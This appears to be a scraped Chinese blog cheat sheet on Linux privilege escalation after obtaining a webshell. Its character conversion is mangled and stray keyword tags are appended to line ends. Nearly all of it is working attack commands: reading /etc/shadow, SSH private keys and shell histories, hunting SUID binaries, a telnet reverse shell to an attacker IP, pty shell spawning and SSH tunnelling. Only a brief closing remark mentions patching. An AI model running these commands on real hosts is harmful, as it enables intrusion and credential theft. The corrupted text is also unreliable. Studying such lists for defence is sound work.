在拿到一個 webshell 以後,你們首先會想到去把本身的權限提高到最高,windows 咱們會提高到 SYSTEM 權限,而 Linux 咱們會提高到 root 權限,拿在進行 Linux 提權的時候咱們要進行哪些操做呢?須要瞭解哪些信息?使用什麼樣的命令?這些就是本文的重點。php
關於Linux權限提高,有下面幾個步驟:html
信息收集:儘可能收集更多的關於系統的信息。python
數據分析:經過把收集到的數據以及信息進行分析,提取其中對咱們提高權限有用的信息備用。mysql
搜索:要知道咱們須要搜索什麼以及去哪裏找對應的 exp 。linux
對症下藥:修改咱們搜索到的 exp ,針對不一樣的系統不一樣的狀況作針對性的修改。web
嘗試:萬事俱備,只欠東風,最後一步就是驗收結果的時候了,有沒有用在此一搏。sql
操做系統信息收集
如何查看服務器的版本?shell
cat /etc/issueapache
cat /etc/*-releasewindows
cat /etc/lsb-release # 基於 Debian
cat /etc/redhat-release # 基於 Redhat
如何查看內核的版本信息?
cat /proc/version
uname -a
uname -mrs
rpm -q kernel
dmesg | grep Linux
ls /boot | grep vmlinuz-
環境變量裏的信息如何查看?
cat /etc/profile
cat /etc/bashrc
cat ~/.bash_profile
cat ~/.bashrc
cat ~/.bash_logout
env
set
是否有打印機?
lpstat -a
應用和服務信息
有什麼服務在運行?是以什麼樣的權限在運行?
ps aux
ps -ef
top
cat /etc/services
關注一下以 root 權限運行的服務,有可能對咱們提權有幫助。
ps aux | grep root
ps -ef | grep root
安裝了哪些應用?版本是啥?當前是否在運行?
ls -alh /usr/bin/
ls -alh /sbin/
dpkg -l
rpm -qa
ls -alh /var/cache/apt/archivesO
ls -alh /var/cache/yum/
常見的配置文件有哪些?有沒有可被攻擊的插件安裝?
cat /etc/syslog.conf
cat /etc/chttp.conf
cat /etc/lighttpd.conf
cat /etc/cups/cupsd.conf
cat /etc/inetd.conf
cat /etc/apache2/apache2.conf
cat /etc/my.conf
cat /etc/httpd/conf/httpd.conf
cat /opt/lampp/etc/httpd.conf
ls -aRl /etc/ | awk '$1 ~ /^.r./
有什麼工做任務計劃?
crontab -l
ls -alh /var/spool/cron
ls -al /etc/ | grep cron
ls -al /etc/cron*
cat /etc/cron*
cat /etc/at.allow
cat /etc/at.deny
cat /etc/cron.allow
cat /etc/cron.deny
cat /etc/crontab
cat /etc/anacrontab
cat /var/spool/cron/crontabs/root
如何查找系統內跟用戶名和密碼相關的文件?
grep -i user [filename]
grep -i pass [filename]
grep -C 5 "password" [filename]
find . -name "*.php" -print0 | xargs -0 grep -i -n "var $password" # Joomla
網絡通信相關
系統內是否存在NIC?是否鏈接這其餘網絡?
/sbin/ifconfig -a
cat /etc/network/interfaces
cat /etc/sysconfig/network
網絡配置信息在哪?
cat /etc/resolv.conf
cat /etc/sysconfig/network
cat /etc/networks
iptables -L
hostname
dnsdomainname
與哪些主機在通信?
lsof -i
lsof -i :80
grep 80 /etc/services
netstat -antup
netstat -antpx
netstat -tulpn
chkconfig --list
chkconfig --list | grep 3:on
last
w
有哪些關於 IP 和 MAC 地址的緩存?
arp -e
route
/sbin/route -nee
如何抓取流量?怎麼看?
tcpdump tcp dst 192.168.1.7 80 and tcp dst 10.5.5.252 21
注意:tcpdump tcp dst [ip] [port] and tcp dst [ip] [port]
如何獲得一個 shell 鏈接?你能夠與系統交互嗎?
nc -lvp 4444 # 在攻擊者的 PC 上執行
nc -lvp 4445 # 在受害者的 PC 上執行
telnet [atackers ip] 4444 | /bin/sh | telnet [local ip] 4445 # 在受害者的 PC 上執行
其餘姿式參見:linux下反彈shell的姿式
如何進行端口轉發?
參考文章:穿越邊界的姿式
其餘姿式請自行探索
如何使用隧道執行命令?
ssh -D 127.0.0.1:9050 -N [username]@[ip]
proxychains ifconfig
跟用戶相關的信息
我是誰?誰登入了?誰登入過?等
id
who
w
last
cat /etc/passwd | cut -d: -f1 # 列出用戶
grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}' # 列出超級用戶
awk -F: '($3 == "0") {print}' /etc/passwd # 列出超級用戶
cat /etc/sudoers
sudo -l
有哪些敏感文件?
cat /etc/passwd
cat /etc/group
cat /etc/shadow
ls -alh /var/mail/
根目錄若是能夠訪問,有哪些有趣的東西?
ls -ahlR /root/
ls -ahlR /home/
可能存在密碼的文件?
cat /var/apache2/config.inc
cat /var/lib/mysql/mysql/user.MYD
cat /root/anaconda-ks.cfg
用戶作了什麼?
cat ~/.bash_history
cat ~/.nano_history
cat ~/.atftp_history
cat ~/.mysql_history
cat ~/.php_history
有關用戶的信息在哪?
cat ~/.bashrc
cat ~/.profile
cat /var/mail/root
cat /var/spool/mail/root
私鑰在什麼地方?
cat ~/.ssh/authorized_keys
cat ~/.ssh/identity.pub
cat ~/.ssh/identity
cat ~/.ssh/id_rsa.pub
cat ~/.ssh/id_rsa
cat ~/.ssh/id_dsa.pub
cat ~/.ssh/id_dsa
cat /etc/ssh/ssh_config
cat /etc/ssh/sshd_config
cat /etc/ssh/ssh_host_dsa_key.pub
cat /etc/ssh/ssh_host_dsa_key
cat /etc/ssh/ssh_host_rsa_key.pub
cat /etc/ssh/ssh_host_rsa_key
cat /etc/ssh/ssh_host_key.pub
cat /etc/ssh/ssh_host_key
文件系統
/etc/ 下有哪些文件可寫,哪些服務能夠被從新配置?
ls -aRl /etc/ | awk '$1 ~ /^.w./' 2>/dev/null # Anyone
ls -aRl /etc/ | awk '$1 ~ /^..w/' 2>/dev/null # Owner
ls -aRl /etc/ | awk '$1 ~ /^.....w/' 2>/dev/null # Group
ls -aRl /etc/ | awk '/' 2>/dev/null # Other
find /etc/ -readable -type f 2>/dev/null # Anyone
find /etc/ -readable -type f -maxdepth 1 2>/dev/null # Anyone
在 /var/ 下咱們能發現什麼?
ls -alh /var/log
ls -alh /var/mail
ls -alh /var/spool
ls -alh /var/spool/lpd
ls -alh /var/lib/pgsql
ls -alh /var/lib/mysql
cat /var/lib/dhcp3/dhclient.leases
在網站的目錄下有沒有隱藏文件?
ls -alhR /var/www/
ls -alhR /srv/www/htdocs/
ls -alhR /usr/local/www/apache22/data/
ls -alhR /opt/lampp/htdocs/
ls -alhR /var/www/html/
有哪些日誌文件?
cat /etc/httpd/logs/access_log
cat /etc/httpd/logs/access.log
cat /etc/httpd/logs/error_log
cat /etc/httpd/logs/error.log
cat /var/log/apache2/access_log
cat /var/log/apache2/access.log
cat /var/log/apache2/error_log
cat /var/log/apache2/error.log
cat /var/log/apache/access_log
cat /var/log/apache/access.log
cat /var/log/auth.log
cat /var/log/chttp.log
cat /var/log/cups/error_log
cat /var/log/dpkg.log
cat /var/log/faillog
cat /var/log/httpd/access_log
cat /var/log/httpd/access.log
cat /var/log/httpd/error_log
cat /var/log/httpd/error.log
cat /var/log/lastlog
cat /var/log/lighttpd/access.log
cat /var/log/lighttpd/error.log
cat /var/log/lighttpd/lighttpd.access.log
cat /var/log/lighttpd/lighttpd.error.log
cat /var/log/messages
cat /var/log/secure
cat /var/log/syslog
cat /var/log/wtmp
cat /var/log/xferlog
cat /var/log/yum.log
cat /var/run/utmp
cat /var/webmin/miniserv.log
cat /var/www/logs/access_log
cat /var/www/logs/access.log
ls -alh /var/lib/dhcp3/
ls -alh /var/log/postgresql/
ls -alh /var/log/proftpd/
ls -alh /var/log/samba/
值得注意的: auth.log, boot, btmp, daemon.log, debug, dmesg, kern.log, mail.info, mail.log, mail.warn, messages, syslog, udev, wtmp
若是命令執行被監視怎麼辦?
python -c 'import pty;pty.spawn("/bin/bash")'
echo os.system('/bin/bash')
/bin/sh -i
文件系統如何安裝?
mount
df -h
是否有未安裝的文件系統?
cat /etc/fstab
有哪些 「 高級的 Linux 文件權限 」 在使用?
find / -perm -1000 -type d 2>/dev/null # Sticky bit - 只有目錄的全部者或文件的全部者才能刪除或重命名。
find / -perm -g=s -type f 2>/dev/null # SGID (chmod 2000) - 做爲組運行,而不是啓動它的用戶。
find / -perm -u=s -type f 2>/dev/null # SUID (chmod 4000) - 做爲全部者運行,而不是啓動它的用戶。
find / -perm -g=s -o -perm -u=s -type f 2>/dev/null # SGID or SUID
for i in
locate -r "bin$"
; do find $i ( -perm -4000 -o -perm -2000 ) -type f 2>/dev/null; done # 查找常見位置中用於 SGID 或 SUID 的文件find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 3 -exec ls -ld {} ; 2>/dev/null # 從根開始查找全部的 SUID 不包括符號連接,而且只搜索三層
如何查找可寫可執行的目錄?
find / -writable -type d 2>/dev/null # 可寫目錄
find / -perm -222 -type d 2>/dev/null # 可寫目錄
find / -perm -o w -type d 2>/dev/null # 可寫目錄
find / -perm -o x -type d 2>/dev/null # 可執行目錄
find / ( -perm -o w -perm -o x ) -type d 2>/dev/null
如何查找可能存在問題的文件?
find / -xdev -type d ( -perm -0002 -a ! -perm -1000 ) -print # 可寫的文件
find /dir -xdev ( -nouser -o -nogroup ) -print # 沒有歸屬的文件
尋找可利用的漏洞
安裝支持哪些工具和語言?
find / -name perl*
find / -name python*
find / -name gcc*
find / -name cc
可以用於上傳的軟件有那些?
find / -name wget
find / -name nc*
find / -name netcat*
find / -name tftp*
find / -name ftp
查找 exploit 的網站?
http://metasploit.com/modules/
有關漏洞的更多信息?
http://packetstormsecurity.org/files/cve/[CVE]
應急措施
針對以上提到的全部命令,執行收集一下信息,看可否找到能夠利用的點,而後針對可利用的點進行升級或者使用一些安全產品來作防禦,使用以下命令進行升級:
apt-get update && apt-get upgrade
yum update
一些運行權限的問題?好比 mysql 是不是用 root 權限運行的?